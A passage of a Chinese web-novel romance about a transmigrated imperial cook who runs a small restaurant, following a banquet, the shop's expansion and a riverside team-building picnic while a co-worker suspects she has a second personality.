只是……她明明踏进了餐饮行业，为什么要金融方面的相关知识？ 正当傅修霁准备往更深的方面细想时，庄凝冬的声音将他拉回了现实—— “傅修霁……傅修霁？” “怎么了？” “帮我把那边那碟杏鲍菇拿过来。” 庄凝冬才说完，江映槐就已经先一步拿过来了，并且没放过蛐蛐傅修霁的机会：“干着活还走神，也太不认真了吧。” 这回傅修霁没搭理江映槐了。 重新投入忙碌中，刚刚的疑惑被暂时放到了一边。 还是等忙完再说吧。 * 除了冯爷爷，晚上的时候还把陈婆婆请了过来，一屋子人，几位老前辈相聚，免不了几句寒暄。 关心询问过日常生活方面之后，冯爷爷着重夸了一下庄凝冬，说他刚回来的时候差点都认不出这店面了。 简单聊了几句，庄凝冬招呼着大家：“还是先吃饭吧。” 奶奶：“对对对，在这么一大桌佳肴前，光聊天算什么事？” 今天人多，庄凝冬做了八菜一汤：玉米排骨汤，酸辣牛肉卷，桂花糯米藕，红烧肉，辣子鸡丁，炒空心菜，油焖大虾，香煎豆腐和五花肉炒杏鲍菇。 每道菜色香味俱全，在视、嗅双觉下不停地刺激着人们分泌唾液。 太香了。 冯爷爷一拿筷子，果真先把手伸向了最爱的红烧肉。 红烧肉的色泽极为漂亮，红亮亮的，又清透，夹着它的时候，像夹了一块红玛瑙，显然上色过程中的糖色炒的特别好。 冯爷爷夹着它送进了嘴里，咬了下去，牙齿触碰到红烧肉的表皮，软糯中带着一点点的韧性，断开前有轻微的回弹，很弹牙。 这口感…… 冯爷爷眼前一亮，继续感受着。 肥肉部分入口即化，完全没有油腻感，只有浓郁的猪肉香在唇齿中化开，咸甜适中，又带了点点辣味。 还有瘦肉部分，一点儿也不干柴，轻轻一咬就能断开，非常的嫩。 冯爷爷很快就吃完了一块，他拿筷子的手抖着，显然有些激动：“这个红烧肉！煮制的功夫也太深了，能让表皮保持软韧回弹的同时，它的肥肉还一抿就开，而且瘦肉还不老，口感真的太好了！” 冯爷爷说着，又吃了一块：“真的喷香！香麻了！我一个活了几十年，一只脚都踏进鬼门关的人了，从来没吃过这么好吃的红烧肉，丫头啊，你的本事是这个。” 冯爷爷说着，比了一个大拇指。 “冯爷爷，你的夸赞我接受了，但哪有人说自己一只脚踏进鬼门关去的？这我可不同意啊，你身体好着，可是会长命百岁的。” 冯爷爷被说得开心了，大笑起来。 虽然庄凝冬是想要租冯爷爷的店用来扩建，但在这顿饭上并没有提这件事。 久而不见，还是先好好坐下来吃顿饭再说。 玉米排骨汤清甜滋润，酸辣牛肉卷薄薄的一片鲜香嫩滑，辣子鸡丁酥香十足，辣得很爽……每一样菜都最大程度发挥了它应有的味道，香极了。 冯爷爷一道道菜品尝着，才发现还有桂花糯米藕。 他忽地一怔。 桂花糯米藕是他老伴最爱吃的一道菜，以前家里后院就种有一棵桂花树，每到桂花时节，他老伴就会摘下一些桂花做桂花糯米藕。 粉糯香甜，腻到发齁。 他虽然不喜欢甜到腻的感觉，但仍然会陪着吃上一两块。 这么多年过去，他其实没怎么吃过桂花糯米藕，一是本身不太喜欢，二是怕想起故人。 冯爷爷顿了顿，还是夹了一块尝尝。 桂花糯米藕被红糖染上深色，莲藕的每一个小孔里都塞满了糯叽叽的糯米，一勺黄澄透亮的糖桂花从上往下，淋到糯米藕上，增添了一份甜腻的花香。 夹起来的时候，莲藕还拉出透明细长的丝线。 看着就足够粉。 冯爷爷咬了一口，入口是熟悉的甜味，经过炖煮的莲藕变得很粉，口感是绵密拉丝的，孔道里的糯米吸饱了甜腻的糖水，既软粘又甜丝丝的。 表面的糖桂花更是替这股藕香米香的口感往上拉了另一个层次，桂花的清香在口腔中弥漫，浓郁醇厚。 每吃一口，冯爷爷就想起了以前的更多过往。 时间并没有使爱褪色，不管过去多久，都没有让人遗忘。 而这股熟悉的味道也将冯爷爷拉回了从前，好像她还在身旁。 在不知不觉间，在一屋子欢声笑语里，冯爷爷逐渐湿了眼眶…… 一顿饭吃得特别欢乐，晚上的菜好吃且分量足，每个人都吃得饱饱的。 收拾好饭后的清洁卫生，开始散场。 晚上，傅修霁回了住处，洗漱完就打开那个金融网站查看之前跟庄凝冬的聊天记录。 ——[我以后应该很少会上这个网站了。] ——[我转行了。] 据他所知，庄凝冬的开店时间要比这更早，既然早就开了餐饮店，为什么还…… 傅修霁猛然发现，对方询问各种问题的时间点，正是答辩前。 而上面的一些文字片段……有点像论文。 想到这，傅修霁赶紧打了个电话，让人去把庄凝冬的毕业论文拿出来看看。 现在夜深了，又不是特别十万火急的事，傅修霁倒是不急在这一时。 不过那头的工作效率还是挺快的，在第二天就有人把庄凝冬的毕业论文发给了傅修霁。 他拿出手机一看。 还真是从里面摘出来的。 自己写的论文自己怎么可能不懂，为什么要到网上来问问题？ 难道是代写？ 那也不可能，先前去谈项目，那个万大的负责人就说了庄凝冬参加活动所获得过的荣誉，满满当当。 区区一个毕业论文，怎么可能需要找代写？ 重要的是，代写也难找到跟她同水平的。 好奇怪，庄凝冬这个人好像很割裂，明明是一个人好像又不止一个人。 就像一个躯壳里住了两个灵魂。 难道是人格分裂？ 人格分裂的患者体内存在两种或两种以上的身份或人格状态，这些人格状态轮流控制患者的行为举止，并且两种人格之间存在记忆障碍，当一种人格在操纵身体时，是没有另一个人格存在时的记忆的。 是了，这就说得通了。 不过他对这方面的了解也不够深，正要打电话去给齐扬哲询问其他问题时，没想到对方先一步打了过来。 电话一接通，那头是一贯嘈杂的大嗓门。 “我说你怎么突然消失了！原来是去小饭馆打工了，不是你，放着好好的总裁不当，去打什么工啊？就算那家店的味道真的很好，你也不用为了赖在那就去当员工吧？你家里的钱都够买成千上百家这样的饭馆了，直接收购下来不行么？用得着给一家这么小的饭馆打工？你别告诉我你那天说的追梦就是去当一个小员工！” 对方上来就是一通叽里呱啦，疯狂输出，跟机。关。枪似的突突突，吵得傅修霁脑壳痛。 要不是还有问题要问他，傅修霁真想立马把电话挂掉。 齐扬哲就跟遭受到背叛一样：“为什么你去了那里都不告诉我？！还是我助理告诉我他在那见到了你，说你的日子好苦，整天在那卑躬屈膝给人赔笑。” “……有空给你助理看看病。” “起初我还不信，直到我助理给我发了照片过来。”齐扬哲痛心疾首：“那么多年兄弟，你居然都不告诉我你的行程！就这么留我一个人在这，那么无聊……” “刚出生的儿子都没那么黏爹。” 傅修霁真的不想再跟他多说无关紧要的话了，开门见山：“双重人格的人，她的另一种人格什么时候会出现？” 话题跳跃得有点大，齐扬哲愣了好一会儿才说话：“什么什么双重人格？你咋问起这方面的内容来了？” “少废话。” “难说，有很多种情况，这个对每个多重人格患者来说都不一样，一般是被有压力的重大事件刺激到，或者遇上某些特定情境，被唤起某种记忆，不过这些都是基于理论，因为本身现实中就没多少例多重人格患者，也无法一一证实。” 傅修霁陷入沉默。 “怎么了，你怎么突然问起这个？难道你遇到哪个人是双重人格患者？不会吧，这可是极小概率……” 傅修霁：“挂了。” 话还没说完的齐扬哲：“？？？” 电话那头无情地传来冷冰冰的忙音，气得齐扬哲破口大骂。 * 这几天，冯爷爷只要有空都会去庄凝冬那里买饭吃。 可惜店里的菜单没有桂花糯米藕，所以不会每天都备份。 某天，冯爷爷特意让庄凝冬做了一份拿回家吃。 还是熟悉的软糯口味。 吃完饭后，冯爷爷走到院子里瞧了眼。 以前院子的两旁种满了桂花树，现在因为长久无人居住打理，已经枯萎只剩枝干了。 毫无生气活力，看着就萧条伤感。 冯爷爷在那站了许久，忽然长叹一声。 阿翠啊，如果你同意我把房子租出去改造的话，就给我点暗示吧。 过了一会儿，一只蝴蝶飞进了这个荒凉的院子。 冯爷爷怔了一瞬，懂了。 * 得到冯爷爷同意把自己的家租出来时，庄凝冬等人都觉得很惊喜。 庄凝冬真诚感谢：“冯爷爷，谢谢您肯把房子租出来，今晚您也过来一起吃饭吧，人多热闹。” 冯爷爷笑着摆了摆手：“吃饭就不了，我要走了。” “啊，这么快吗？” “是啊，本来也只是想回来看看而已。” “不多留几天么？” “不了不了，这几天我把卫生搞了一下，其他家具什么的也都清空了，你是要重新装修什么的都非常方便，”冯爷爷说：“你想怎么装也不用再问我了，随便你改，我觉得你可以把那堵墙打通了，这样空间更大。” 原本庄凝冬就是这么想的，没想到她还没细说，冯爷爷就同意了。 庄凝冬脸上一瞬间惊喜：“太好了，谢谢您冯爷爷。” …… 冯爷爷走之前，庄凝冬还给他送了几罐桂花蜜。 透明罐子里，桂花蜜呈现出一种橙黄偏金的光泽，更深色的桂花小而碎，泥在蜂蜜里，像被封在了透明玉石的里。 特别是在阳光的照耀下，显得更通透漂亮了。 冯爷爷乐呵呵地收下了。 场地的事情已经得到解决，庄凝冬便开始着手装修的事情了。 这次扩建，她打算把二楼的小阁楼也用作营业的空间。 当然，这个举动有问过奶奶。 奶奶环顾了一周屋子，笑着说：“囡囡啊，你想怎么做就怎么做吧，毕竟人不能只活在回忆里。” “好。” 都确定好之后，就可以做准备扩建前的工作了。 首先就是找一处新住处，要搬家搬出去住。 现在空房装修的话已经来不及了，原本庄凝冬是想先买一套二手房的，等之后再赚了钱再另外买一套新的，不过被奶奶阻止了。 原因很简单，如果之后还是要重新买新的话，那现在就不用买二手的了，二手房现在也要好几十万呢。 都是钱啊，而且也不一定会住很长时间，这样不太划算。 奶奶觉得，现在可以先租一套住着。 庄凝冬听完之后，认真想了想，还是同意了：“好吧，那就都听奶奶您的。” 之后，庄凝冬就开始找房子的日子。 以前住的小阁楼比较狭窄，现在庄凝冬想找个比较大点的小区平层，想让奶奶住得舒服点。 另外，小区的地址还要离店铺近一点，这样通勤也方便。 而且奶奶想回去找邻里街坊玩的话也近。 确认需求点，目标明确，庄凝冬很快就找到了几间比较合适的房子。 都踩过点以后，庄凝冬挑选了其中一间性价比最高的。 得知庄凝冬租到的房子在哪后，江映槐道：“感觉很好哎，还挺近的，到时候我去你家玩也比较方便，嘿嘿。” 傅修霁则复述了一遍小区名字，似是在确认什么：“你确定是在这里？” 庄凝冬心跟着提起来，怕租到了什么不好的小区：“是啊，怎么了？” “没怎么，”傅修霁说着，顿了下，而后笑了声，“只是还挺巧的，我也住这里。” 庄凝冬弯了弯唇角：“是吗？那确实挺巧的。” 只有江映槐的脸一垮，她要收回刚刚的话。 好个屁好！一点儿也不好！ 在其他人看不见的地方，傅修霁反手把自己在市中心租的那套最贵的平层退了，又在庄凝冬说的那个平层租了一套。 房子租好以后，庄凝冬重新把那间屋子的卫生搞了一遍，然后把原阁楼里的东西收拾出来。 里面有很多都是原主的东西，不过庄凝冬都没乱翻。 都收拾好以后，就可以着手找装修团队了。 上回厨房那次小装修，庄凝冬是找李和弄的，这次规模比较大，不知道能不能找他背后的公司。 再次找到李和的时候，没想到对方已经失业了。 庄凝冬有点不可思议：“啊？你失业了？” 毕竟对方业务能力挺好的，工作也认真，实在没想到。 “是啊，现在大环境不好。”李和说：“如果你真的需要的话我也可以托之前的同事帮你问问。” 陆向安佩服：“那公司都把你辞了你还帮它找生意？人怎么能大度成这样。” 江映槐趁机怼他：“你以为人人都是你？” “……” “算了吧师父，我觉得还是别麻烦人家了。”江映槐说：“这件事还不如交给我爷爷。” 庄凝冬：“这样会不会太麻烦了？” “没事啦，反正他也是交给别人做的。” “……” 江老爷子打完电话后，果真很快就联系到了溪城最出名的装修公司，对方一听是庄记需要之后，老总亲自来了趟庄记。 这位老总就是于妍的父亲，于父。 实际上他也是庄记的老顾客了，不过跟庄凝冬没有什么更深层次的交流，现在既然有帮得上对方的地方，自然尽全力帮忙。 庄凝冬跟他一些装修细节时，偏题问了一句：“对了，于总，您公司还缺人吗？” 于父一听，明白过来了，他笑了下：“不缺人，但多养一个能人也无妨。” 这话说得妙。 虽然他因为喜欢庄记而对庄凝冬多了一层友好的滤镜和印象，不过生意场上，还是得一码归一码。 在装修上他可以给点优惠，但别的地方还是要公正点的。 不然的话，要是但凡认识他的人都想往他这里塞人，那他的公司成什么样了？ “明白了。”庄凝冬也笑着道：“不知道您能不能给一个表现的机会？” “这个倒是可以，不过我可是得按照我的标准来的。” “自然。” 当李和听到自己有机会进入溪城最好的装修公司时，人都有点不知所措，惊喜过后就是怀疑自己是不是听错了。 “你没有听错，不过你也先别高兴得太早。”庄凝冬说：“我只是替你争取到了一个机会，能不能留在那得看你自己的表现。” 没想到庄记的老板能帮自己到这个地步，多少人可是连机会都没有啊，他已经足够幸运了。 “大恩不言谢。”李和激动道：“我一定会尽全力表现，不辜负你这番推荐的。” 定好装修的日子，店铺又要迎来停业期。 那帮顾客虽然都哭唧唧，说无法忍受没有庄记的日子，不过一想到庄记可以容纳更多人之后，都表示能接受了。 装修需要好几天。 庄凝冬看招聘软件上，其他公司都会写着什么团建之类的，于是，她也提议道：“要不咱们挑一天出去团建？” 第87章 第87章 江映槐第一个答应：“同意！” 傅修霁自然也没意见：“我都听老板的。” 季初曼：“可以带上家人吗？” 庄凝冬：“当然可以，不过要去哪里还没想好，你们都可以说说你们想去的地方，大家讨论一下。” 江映槐考虑到季初曼有个小女儿，提议：“去动物园怎么样？” 陆向安：“去动物园干嘛？” 江映槐：“你这是什么问题，去动物园当然是去看动物了，看什么牛羊马熊。” “牛马还需要去动物园看？这大街上不全都是？” “……” “那你说去哪。” “剧本杀、密室逃脱、真人CS。” 江映槐懒得喷：“……这是你想玩吧，我第一个不同意。” 靠他们两个是讨论不出什么的了，最后还是季初曼提议道：“最近那些山林野炊、在山间煮火锅不是挺火的吗，要不我们就体验体验这个？” 江映槐：“好像可以哎，比什么剧本杀好玩多了。” 陆向安：“还行吧，总比看牛马好。” “……” 庄凝冬举办的团建很人性化，不想去的说一声就可以了，也不需要给什么理由。 最终那几个厨员都没有去，只有庄凝冬他们一行人出发。 定下项目以后，庄凝冬在溪城找了处风景比较好的山林，在团建当天，几人一同前往。 他们人多，至少要开两辆车。 庄凝冬没有买车，陆向安一个刚从大学出来还没工作多久的自然也没有车，目前只有一辆江老爷子的劳斯莱斯，还差一辆。 原本他们想再租一辆的，但季初曼说她有一辆，那就不需要了。 可问题又来了，谁开？ 庄凝冬穿过来就在开店赚钱，并没有学过开车，江映槐以前出门都是有司机的，后面逃了出去也没学过。 这一行人里，只有傅修霁、陆向安和季初曼能开。 不过…… “劳斯莱斯，我可不敢开啊。”陆向安怕怕的：“我对自己的技术不放心，要是一个不小心磕碰到哪了，卖了我都赔不起。” 季初曼也不太敢：“劳斯莱斯我见都没怎么见过，更别说开了，从来没开过，我也不太行。” 陆向安：“既然都没人，那要不……”再租一辆。 傅修霁：“我来吧。” 陆向安微微瞪大眼：“你行么？不行别逞能，这可不是开玩笑的……” 说话间，傅修霁人已经打开驾驶座车门坐了上去，陆向安不由得紧张，他看见江老爷子在一旁乐呵地看着，也没准备上去指教一下的时候，急得正要上手把江老爷子拉过去。 旁边的劳斯莱斯却已经被启动，而后，特别帅气地拐了个弯，停在了路边。 陆向安瞠目结舌：“兄弟，你这……你以前给有钱人当过司机吧？” 江老爷子差点被呛到。 傅修霁：“……” 庄凝冬：“好了，不要再多说了，我们赶紧出发吧。” * 异常瞩目的劳斯莱斯在路上行驶着，回头率百分百，再次惹得路人频频拍照。 两辆车子一前一后开进了山林，到目的地附近就停好，下车带上东西走到一条清澈干净的小河边。 山林鸟雀啁啾，空气清新，绿植环绕，隔绝了暑气，凉快得不行。 傅修霁和陆向安两个男人负责搭建桌子、椅子、灶台等比较粗重的活。 庄凝冬和江映槐负责清洗蔬果，季初曼在另一头铺好野餐垫子，在上面摆了些食物让几位老人家坐下享受后就牵着圆圆过来找庄凝冬她们俩了。 “我也要来帮忙洗果果，麻麻说了，要学会团结协作。”圆圆奶声奶气的，捧着一个大苹果，蹲在了河边。 庄凝冬轻掐了一下她可爱的脸蛋：“好呀，圆圆真乖，那你就负责洗果子好不好？” “好。” 季初曼找来一个小篮让圆圆装着放下去，免得等会被水流冲走。 江映槐没怎么来过这种山林，她虽然是美食up主，但不是做那种田园采摘风格的，加上生活环境使然，从来没近距离接触过这种风景的她此刻充满了好奇，对每种植物和野果都东瞧瞧西望望。 她摘了好一些拿去给庄凝冬看：“师父，这些都是什么果子啊？你认识吗？” 摊开的手掌心里，躺着各种果子，红的绿色，小的大的，还有些紫的发黑的。 庄凝冬的视线一一扫过，看到某一个时，她眼睛一亮：“这不是山捻子吗？” 江映槐疑惑：“山捻子？” 只见庄凝冬拿起其中一个外表毛毛的、颜色偏紫，形状呈倒扣酒杯，通体饱满的小果子。 “这就是山捻子。”庄凝冬说：“山捻子有养血止血、活血化瘀、固本培元的功效，可用作药材，也可用作泡酒。” 江映槐一脸学到了的表情，同时，对庄凝冬的崇敬又多了几分：“师父你懂的可真多，那它可以直接吃么？” “可以。” 庄凝冬随意擦了擦就咬了一口：“你看，就这样吃。” 江映槐学着也吃了一口。 山捻子里的果肉的是紫红色的，籽比较多，果肉很软，味道酸酸甜甜的。 “好像还挺好吃。”江映槐的好奇心得到满足，兴致上来：“等我再去那边多摘点来吃。” “哎，”庄凝冬无奈地好笑道，“这个可不能多吃。” “为什么？” “会便秘。” “……” 江映槐立马止住了要去多摘的脚步，并且剩下的也不敢吃了。 她想了想，找到了陆向安：“干活辛苦了，给你留了几个果子，我师父说了，这果子有养血止血的效果，你可得把它们全吃了，别浪费啊。” 陆向安警惕地看了她一眼，还没来得及说些什么，江映槐就走了。 他只好问旁边的傅修霁。 傅修霁看了眼，其实现实中他也是第一次见，不过，他在梦里见过。 他看了眼不远处的身影，顿了顿，道：“山捻子，吃多了的话，蹲上半天吧。” “……” 他就知道！ “麻麻你看，有鱼鱼！还有小螃蟹。” 不远处，圆圆忽然大喊。 空旷山林里，声音不算小，江老爷子听见后，打着盹的他瞬间清醒了，他赶紧凑过去瞧：“让我看看。” 清澈水流里，还真有几条颜色跟石头差不多的小鱼，以及瓶盖大小的螃蟹，不细看的话看不到。 “小孩儿眼睛还挺好使。” 江老爷子麻利地去取了他的钓鱼设备，在边上挑了个位置坐下，给圆圆讲钓鱼的经验和注意事项，也没管她那么小能不能听懂。 眼看着这边人多，奶奶和季女士也不在野餐垫那边坐了，起身往这边走了过来。 傅修霁和陆向安在那边摆好东西后也过来凑热闹。 庄凝冬和江映槐早已把鞋子脱掉踩着石头站到了小河流的中央。 河水冰冰凉凉的，很舒。 “快看，那里有条大的！” 庄凝冬拍了拍江映槐的手。 “是哎，我突然想加菜了。”江映槐狡黠一笑，“要不咱们把它抓了吧。” 庄凝冬：“这菜可不是咱们想加就能加的，它太灵活了，很难抓的，还是看江爷爷能不能钓上来吧。” 庄凝冬刚说完，傅修霁拿着根不知从哪捡来的树枝也下了水，走到庄凝冬身边，问她：“你想吃鱼吗？” 他黑眸很亮，仿佛只要她说想，他就能给她弄来。 鬼使神差的，庄凝冬点了点头：“想。” 傅修霁转头去找鱼了。 他身形高大，动作却小心谨慎不鲁莽，在水里带起的动静都是很小的。 只见他并不着急出手，而是很有耐心地观察着水中的情况，仿佛蛰伏在暗处的猛兽，只等待一个时机，准备一招精准制敌。 江映槐看不惯他，刚想说他装模作样故弄玄虚，傅修霁就有动作了。 他抬起拿树枝的手，快狠准地刺向入水里，惊起一点水花。 当再抬手时，树枝的末端多了一条肥美的大鱼，鱼尾还在翻腾着，很鲜活。 “……” 江映槐心中腹诽：还真被他装到了。 “我去，牛批啊兄弟！太帅了。”陆向安拿着摄像机，找好角度迅速连拍了几张。 庄凝冬则看着眼前的场景，怔愣在原地。 恍惚间，周遭的树林开始扭曲变幻，过去和现在交织变化，记忆中那个身穿长袍的身影和眼前人重叠。 同样的角度动作，一样叉着一条鱼。 他们如果不是同一个人，怎么会那么像？ “这条鱼够大吧，我这技术怎么样？” 等傅修霁拎着鱼走过来，庄凝冬才回过神来。 “很好。”庄凝冬顺势夸了他几句。 “有奖励吗？” “奖励你多吃点。” 傅修霁眸子里印着她，忽地笑了声：“行。” “这条鱼你打算怎么做？”傅修霁又问。 “做个烤鱼吧，你觉得怎么样？” “行啊，我这就去准备。” 庄凝冬手心紧了紧，不知是期待还是紧张，她深吸口气：“我说的是用几根树枝生火，架在上面用火烤的那种烤鱼。” 傅修霁回头，和她对上视线。 不知道过了多久，傅修霁唇角带笑，依旧是那副言听计从的模样：“也行啊，我这就去找树枝。” 反应太过正常。 不像是同一个人，也许只是巧合罢了。 一瞬间，庄凝冬有说不出的失落。 经傅修霁这么一弄，河流被惊扰，江老爷子那边也没法垂钓了，不过他后面跟着圆圆抓螃蟹玩得还挺不亦乐乎的。 最后，几人聚在了灶台处，准备弄吃的了。 现在的工具比以前多，庄凝冬把傅修霁叉到的那条鱼细心地刮去鱼鳞，开膛破肚清理掉内脏，才用钢签把它串起来。 江老爷子和圆圆另外抓到的那几只小螃蟹，给圆圆留了一只让她带回去玩之后，其余的也都被庄凝冬串了起来，准备做烤螃蟹。 另一边在弄火锅，火锅简单，等汤底煮开把食材下入就好了，就是需要注意每种食材的煮制时间，庄凝冬前面都跟他们讲了一下，此刻，她放心地把那边交给他们，然后拿着鱼和螃蟹去找傅修霁。 庄凝冬在他旁边坐下，状似无意地问：“会烤鱼吗？” “以你为标准的话，不算会。” 庄凝冬眉眼随之弯起来：“你烤吧，我在旁边教你。” 连同那串螃蟹也一并交到了傅修霁手里。 说是庄凝冬在一旁教，但实际上，也不需要她教什么，傅修霁烤鱼的步骤、每次旋转翻面的时长都很精准。 不止精准，还和记忆里，她教那个人的一样。 那是某次出巡了，皇帝带着几个官员王爷出巡，因为怕一路上吃不惯其他地方的饭菜，连同御厨也带上了。 那个御厨就是庄凝冬当时的师父，因为她师父做的饭菜非常合皇帝的口味，所以她师父也算皇帝面前的红人了，于是，在她师父说要带上她得时候皇帝也应允了。 当时路过一处河边休息，皇帝突然间说想吃鱼了。 原本是想要侍卫下去抓的，后来不知怎么的，莫名其妙发展成几个官员和王爷的比拼，比比看谁能先抓到。 然后好几个人拿着工具在水里叉叉叉。 后面抓上来了，烤鱼的事便交给庄凝冬和她师父了。 烤鱼过程要盯着鱼肉的变化，控制火候时长，时不时翻面，正当庄凝冬百无聊赖的时候，身旁坐下一个人。 他腿部的袍子还是湿的，是刚刚下水弄到了。 “在烤鱼啊。” 庄凝冬一脸茫然，心说这不是很明显么，但她不敢这么说，板正地回了句是的。 “怎样才能烤得好吃？教教呗。” “王爷您身份尊贵，轮不到您干这些活，还是别学了。” “怎么轮不到？万一哪天行军……出门在外，突然吃不上饭怎么办，多项谋生技能总是好的。” 庄凝冬只好答应教他了。 每个步骤都教得很详细，而那个烤鱼的方法，跟傅修霁现在展示的一模一样。 下意识地，庄凝冬脱口而出：“这个烤鱼方法，是谁教你的？” 傅修霁侧头，“怎么了？有哪里不对或者做得不够好的吗？” “没……”庄凝冬犹豫着，要不要说，最后还是轻松地笑着试探了句：“只是跟我一个朋友的做法挺像的。” “一个朋友？”傅修霁复述了一遍，“那还挺巧，方便说说他现在在哪么？” “他，他不在了。” “抱歉。” “没事。” “师父！可以吃了！快过来！”不远处，江映槐朝庄凝冬招手，像是怕庄凝冬自己磨蹭，干脆自己过来拉她。 然后，还不忘吐槽傅修霁：“现在技术都这么发达了，还用火烤？不知道的还以为穿回古代了呢。” 庄凝冬咳了声：“是我让他这么做的。” “……”江映槐立马改口：“这样做肯定更好吃吧，师父您安排得真好。” “……” 待庄凝冬被江映槐拉走后，傅修霁几乎可以确认，庄凝冬肯定也跟自己一样，做了那些稀奇古怪的梦。 傅修霁看着庄凝冬的背影，想起之前问齐扬哲的那个问题—— 她的另一种什么时候会出现？ 他承认，当时他是有私心的。 他希望另一种人格不要出现。 至于为什么，他也说不准。 明明喜欢一个人就应该喜欢她的全部。 但…… 傅修霁说不上来这种感觉，像是有人操纵着他的灵魂他的想法，又像是他与生俱来的本能。 本能地只对那一个人格产生了兴趣。 现在与其担忧别的，不如过好当下。 要是某一天，另一个人格真的取代了这个人格…… 也许他做不到一视同仁，但也会好好相待的。 * 煮火锅用的是鸳鸯锅，一边是辣锅，一边是番茄锅，很经典的两个锅底。 放下去的那批食材都已经煮好了，一掀开盖子，锅中咕噜咕噜地冒着泡，辣锅的麻辣鲜香和番茄锅的香浓酸甜溢了出来，两种香味交织，谁也不输谁，香迷糊了！ “看着还不错。”庄凝冬先给奶奶夹了一只牛筋丸：“尝尝，小心烫。” “什么叫还不错，”江映槐给江老爷子装菜的时候不忘搭话，“分明就是非常不错。” 这次火锅的火锅底料是庄凝冬自己做的，牛筋丸从锅里捞出来时，染上了一点橙色。 一口咬下去，番茄味特别浓郁，再蘸点调好的火锅蘸料，酸酸甜甜的番茄香中，牛筋丸劲道有嚼劲，超级好吃。 多重香味弥漫了整个口腔，让人恨不得连舌头都吞下去。 “确实非常不错啊，这辣锅真的辣的太带劲了。” 尽管江老爷子被辣得嘶哈嘶哈的，但仍旧停不下来。 圆圆：“香香，妈妈我还想要吃丸子。” 季初曼：“碗拿过来，妈妈给你装。” 陆向安：“其他那些都先盛出来吧，下肥牛咯。” 一片片薄的透光的鲜红肥牛片被装在漏勺里，沉入了滚烫的锅中，过了大概十几秒，漏勺被拿起来时，肥牛片已经熟了。 肥牛片又嫩又滑，入口还微微弹牙，牛肉香醇厚，薄薄的一片，根本不够吃。 这头江映槐和陆向安在捣鼓火锅，下食材，那头庄凝冬和傅修霁在分着烤鱼和烤螃蟹。 烤鱼的表皮烤得金黄，戳开又薄又酥的皮，里面是鲜嫩的鱼肉，白白的，散发出鱼特有的鲜香。 做到了真正的外酥里嫩。 “这样烤出来的鱼好像也好吃哎，香香酥酥的，虽然不是用油炸的，但是一点也不干。”江映槐像是打开了新大陆，又去问庄凝冬要了点。 除了烤鱼外，烤螃蟹也很好吃。 小小一只，壳是酥脆的，上面洒满了孜然等各种调味料，浅浅咬一口，嘎吱脆，除了小螃蟹的鲜香，还有调味料的咸香，真的很好吃。 圆圆啃不了那么硬的螃蟹，季初曼很艰难才从螃蟹里头找到一丁点肉给她。 圆圆吃了之后，双眼瞪得圆溜溜的：“好好吃，是我抓到的小螃蟹哦。” 众人笑得宠溺，纷纷笑着一人说了一句夸赞她的话，搞得圆圆都有点不好意思了。 庄记的第一次团建在一片欢声笑语中结束。 回去之后，陆向安从这次团建拍到的照片里面挑了一些发到微博上营业—— [第一次团建，你们都喜欢看吗？不喜欢的话我删了，骗你们的，不管你们喜不喜欢，我都不删/龇牙。] 有顾客收到发博通知，立马赶了过来： [？？？] [不喜欢，下次你别去了，换我去。] [虽然文案是欠打了点，但不得不说，拍得真不错，气氛很融洽哎，看着心情都舒服了好多。] [靠，话说那个帅到腿软的男生叫什么名字啊，叉鱼的动作也太酷了吧，这绕着手臂向上攀爬的青筋，啊啊啊啊性张力太足了！] [有没有人发现老板和这个男员工站在一起格外般配？浅嗑一个，简直是颜狗的福利嘶哈嘶哈。] [你们都在吃的火锅底料一定很好吃，在哪买的？是哪个牌子？求求了，告诉我吧！] @庄记饭馆：[老板特制，庄记专属非卖品，有钱也买不到。] [？？这我是真嫉妒了啊啊啊！天，老板做的火锅底料，我都不敢想象有多好吃呜呜呜，有生之年能不能吃到？] [求一个火锅底料上新。] [跪求＋1！] …… * 另一边，傅家老宅。 傅老爷子最近无聊得很，几个老伙伴的球技、棋技都不太行，跟他们玩完全是在虐菜，碾压，丝毫没有势均力敌，打得有来有回，跟高手过招博弈的快感。 终于，傅老爷子还是拨通了某个电话：“老江啊，你最近有空不？来我家啊。” 有空？怎么可能有空？ 他可忙着呢，要遛狗耍太极写字画画垂钓…… 江老爷子：“你家也没什么好玩的。” “那我去你家。” “不用来啦，我不在家。” “你不在家？那你在哪？” “溪城。” 溪城是个什么地方？没听过。 傅老爷子后面去查了一下，才发现溪城最近还挺火的，主要是里面出了一家特别好吃的饭馆。 他惊奇地发现，他的好朋友老江甚至给了这家饭馆超高的评价—— 比百味楼好吃。 难道老江就因为这个出远门了？ 不行，他也要去凑个热闹。 反正闲着也是闲着。 想着是去玩，傅老爷子便顺势邀请了还在放假期间的两个孙子孙女。 傅运霖和傅迎月一听有得去玩，自然高兴得不得了。 再一听是去吃比百味楼还好吃的东西，更是等不及了。 因为家里有一个嘴巴挑剔得不行的人，在他的影响下，他们的嘴巴也被养刁了，所以此刻都对比百味楼还好吃的饭馆抱有特别的期待。 “既然我们是去吃的，那我们要不要叫上大哥啊？”傅运霖问。 傅迎月伸出食指摇了摇：“我觉得还是别了，我查过那家饭馆，规模跟百味楼根本比不了，更别说装修逼格这些方面了，大哥去到之后……哦，不，根本不用等到去到，他肯定就会用他那张淬过毒一样的嘴在挑剔评价，然后轻飘飘来一句‘也就你们会去’。” “……” 想想那场景，是有点脑溢血的。 傅迎月：“所以还是别喊了。” 连傅老爷子都认同地点了点头：“有道理。” 傅运霖：“那还是算了吧。” 决定好以后，三人挑了一个日子，前往溪城。 第88章 第88章 一段时间之后，庄记终于装修完了。 因为打通了隔壁冯爷爷家，两间屋子连在了一起，不仅里面的空间变宽敞了，大门也变得更宽大恢弘了。 里面的桌椅也换成了更高级的材料，还在收银台处打造了一个简易的假山流水，用来养之前放在小鱼缸里的那两条锦鲤。 最大的改动当属二楼了，二楼没有完全打通和冯爷爷家连着的那面墙，只留出了一个门，有一半空间用来当作办公室。 目前为止最高兴的当属陆向安了，一个人享受一个办公室，简直不要太爽！ 这次装修焕然一新，就跟二次开业一样，邻里街坊跟之前一样，送了许多东西过来。 “多亏了凝冬丫头，咱们朝丰街才出息了，这要是换在之前，哪里能见得到这样的盛景啊。” “那可不，凝冬可是从小就聪明的人，脑子灵活干什么都厉害，这些萝卜都是新鲜刚挖的，凝冬你就收下吧。” “咱们这次可真是沾了凝冬的光了，现在到朝丰街的人越来越多，我家里的生意都变好了不少呢。” “谁说不是呢。” …… 庄凝冬一边道谢一边把他们送的东西都收好。 送走了街坊，再忙活忙活一阵子，就可以开店迎客了。 